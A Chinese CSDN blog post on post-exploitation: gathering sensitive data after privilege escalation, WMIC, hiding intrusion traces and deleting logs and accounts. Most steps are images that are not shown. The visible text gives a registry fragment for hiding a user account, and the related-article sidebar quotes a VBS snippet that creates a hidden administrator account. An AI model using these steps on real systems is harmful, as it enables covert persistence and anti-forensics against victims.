提权后的linux、windows敏感信息搜集&&Wmic学习&&隐藏入侵痕迹&&日志、账号删除

最新推荐文章于 2024-03-01 08:52:30 发布
最新推荐文章于 2024-03-01 08:52:30 发布
阅读量396 收藏
点赞数 1
分类专栏： Hacker Way 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45650712/article/details/108326831
版权

提权后的linux、windows敏感信息搜集&&Wmic学习&&隐藏入侵痕迹&&日志、账号删除

文章目录

一、提权后的linux敏感信息搜集

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、提权后的windows敏感信息搜集

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、Wmic学习、

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

四、隐藏入侵痕迹

在这里插入图片描述
Windows下：

在这里插入图片描述
在这里插入图片描述
添加注册表:
在这里插入图片描述
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

在这里插入图片描述
regedit
/v username /T REG_DWORD /D 0
在这里插入图片描述
Linux下

在这里插入图片描述
在这里插入图片描述

五、日志、账号删除

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

六、我的公众号

后续操作请持续关注哦！！！
了解更多请关注下列公众号：
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗
在这里插入图片描述
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗

永不垂头
关注
专栏目录
2024hw 蓝队面试题合集
Sumarua的博客
07-01 787
2024HW蓝队面试题合集，面试题及答案
奇安信大佬倾囊相授，熬夜总结应急响应与心得分享（快收藏！）
weixin_54787877的博客
05-28 2553
前言 作为一个安全打工人，每次在摸鱼的时候，总会碰到一些突发情况，例如以下情况。 老板：那啥XX企业被打了，你去支撑一下吧，顺便出个报告。 老板：XX企业安全设备告警了，你去看一下，看能不能开拓一下市场，顺便出个报告。 我：？？？ 回到正题，像上述影响业务正常运行的安全事件时，急需第一时间进行处理，使企业的系统或业务在最短时间内恢复正常工作，并后续进一步查找入侵来源，还原入侵过程，同时输出文档及安全建议，这样才能接到项目（不，是为企业减少经济损失。） 应急思路及流程 那么问题又来了，应急前我们应该干嘛呢？应
windows入侵提权-创建隐藏帐号
12-12
windows入侵提权-创建隐藏帐号 使用vbs的好处是可以通过echo 输入到远程计算机中,然后运行.(具体提权过程请参照本人相关的文章). 　　 　　set wsnetwork=CreateObject("WSCRIPT.NETWORK") 　　os="WinNT://"&wsnetwork.ComputerName 　　Set ob=GetObject(os) 　　Set oe=GetObject(os&"/Administrators,group") 　　Set od=ob.Create("user","xxxx$") 　　od.SetPassword "yyyy" 　　od.SetInfo 　　Set of=GetObject(os&"/xxxx$",user) 　　oe.add os&"/xxxx$"
Wmic-linux
weixin_34119545的博客
04-14 531
Description Windows Management Instrumentation Command-line (WMIC) uses Windows Management Instrumentation (WMI) to enable system management from the command line. This post explains how to install ...
python wmic_wmic linux python
weixin_39842617的博客
12-22 136
sudo aptitude install wmi-clientExample of usage is;wmic -U DOMAIN/administrator%password //10.99.92.9 “Select * from Win32_Service”Lists all services, the first line it spits back is the fields which...
Linux编译WMIC
weixin_33937778的博客
11-28 1142
1.概述2.系统环境操作系统:Centos 7 3.软件环境 4.编译Wget http://www.openvas.org/download/wmi/wmi-1.3.14.tar.bz2Tar -jxvf wmi-1.3.14.tar.bz2Cd wmi-1.3.14make "CPP=gcc -E -ffreestanding" 5.安装 6.使用wmic -U domain/username...
后渗透之Windows信息收集
内心不种满鲜花就会长满杂草
11-10 1780
目录 windows登录账号密码 RDP登录凭据 浏览器账号密码 WIFI账号密码 在获取了Windows系统权限(通常是管理员权限)后，我们就需要尽可能多的收集这台机器上的各种信息，各种密码（内网中很多服务器的账号密码相同），各种敏感文件和资料了。 windows登录账号密码 将系统登录账户的密码进行导出破解 ——>Windows中获取本地登录账号密码 RDP登录凭据 RDP（远程桌面协议），如果主机远程登录了其他主机并且勾选了记住我的凭据，那么我们就能够获取到保存的远程登录的.
【安全牛学习笔记】收集敏感数据、隐藏痕迹
edu_aqniu的博客
09-15 1318
收集敏感数据、隐藏痕迹 利用配置不当提权        应用系统的配置文件        应用连接数据库的配置文件 基本信息收集       Linux       /etc/resolv.conf       /etc/passwd        /etc/shadow        whoami and who –a       ifconfig -a, iptab
Kali实战-提权
小水池
05-28 4652
本地提权 windows默认账号 user Administrator System #最高权限 关系图示： Linux默认账号 User Root ADMIN提权为SYSTEM 思路：利用windows中以system运行的程序进行操作，将系统提权 win xp、win2003 at 18:12(时间) /interactive cmd ...
20年时候收集的一些信息安全岗面试题
课嗨教育的专栏
05-02 7810
目录 面试一 面试二 面试三 更多资料可：渗透测试基础课-课程进度_课嗨教育的博客-CSDN博客 面试一 个人介绍: 自我介绍要点：不要用长逻辑句，短小精悍 控制在3-4分钟 1、自我介绍姓名年龄哪里人学校情况不是重点，作为顺滑开场 2、经历与技能啥时候开始学web攻防，实习经历（神舟，做了什么；尚然，做了什么），让人家清楚历史引入技术主题，挑重点 3、业绩/成绩： 研究类：freebuff SRC I春秋...
linux环境的wmi-1.3.13.tar.bz
10-19
linux下的wmic命令，用于查询windows服务器主机的状态
wmi-1.3.14.tar.gz
05-06
centos7环境编译安装远程控制windows操作系统软件包，测试安装可用。 tar -xvf wmi-1.3.14.tar cd wmi make "CPP=gcc -E -ffreestanding" cp wmi-1.3.14/Samba/source/bin/wmic /usr/local/bin/ wmic -U [domain/]adminuser%password //host "select * from Win32_ComputerSystem"
Linux下PHP调用wmic获取远程Windows监控信息及解析返回结果
allway2的博客
02-21 345
<?php $output = null; $code = null; $command = "/usr/bin/wmic -U administrator%pass //192.168.174.1 'select caption, name, parentprocessid, processid from win32_process'"; exec($command, $output, $code); print_r($output); print_r($code); if ($code == .
linux下安装运行wmic采集Windows系统信息
allway2的博客
02-21 2106
描述 Windows Management Instrumentation 命令行 (WMIC) 使用 Windows Management Instrumentation (WMI) 从命令行启用系统管理。 这篇文章解释了如何在 Linux 机器上安装wmic客户端。上述安装过程已在 Ubuntu 12.04 LTS 32 位主机上进行了测试。 Linux 的客户端不如 Windows 的客户端强大，因为它仅限于“选择”请求（即无法请求“进程列表摘要”之类的内容），但如果您不想启动 Windows，
linux+敏感信息,史上最全Linux提权后获取敏感信息方法
weixin_28749363的博客
05-11 366
网站上的任何隐藏配置/文件?配置文件与数据库信息？ls-alhR/var/www/ls-alhR/srv/www/htdocs/ls-alhR/usr/local/www/apache22/data/ls-alhR/opt/lampp/htdocs/ls-alhR/var/www/html/有什么在日志文件里?(什么能够帮助到“本地文件包含”?)#http://www.the...
Kali Linux渗透测试 048 收集敏感信息
kevinhanser
03-04 1141
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程，教程为安全牛课堂里的《Kali Linux 渗透测试》课程 1. 提权之后收集基本信息 2. WMIC(WINDOWS MANAGEMENT INSTRUMENTATION) 3. 收集敏感信息
【网络安全】Windows日志提权漏洞
最新发布
kali2333的博客
03-01 746
关于历届Windows - clfs 漏洞的梳理 ，并不涉及到后续的exp，因为CLFS驱动程序在很短的时间内，爆出过很多漏洞，而且其中很多漏洞牵扯到的函数，clfs的结构体都是相关的还有针对上一个CVE补丁的别样思路的绕过
Windows 7 & Vista脚本自动化与命令行工具指南
3. **命令行工具**：Windows 7和Vista提供了丰富的命令行接口，如CMD、PowerShell和Windows Management Instrumentation Command-line (WMIC)等。作者会深入讲解这些工具的使用方法，让读者能够利用它们进行高级操作...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值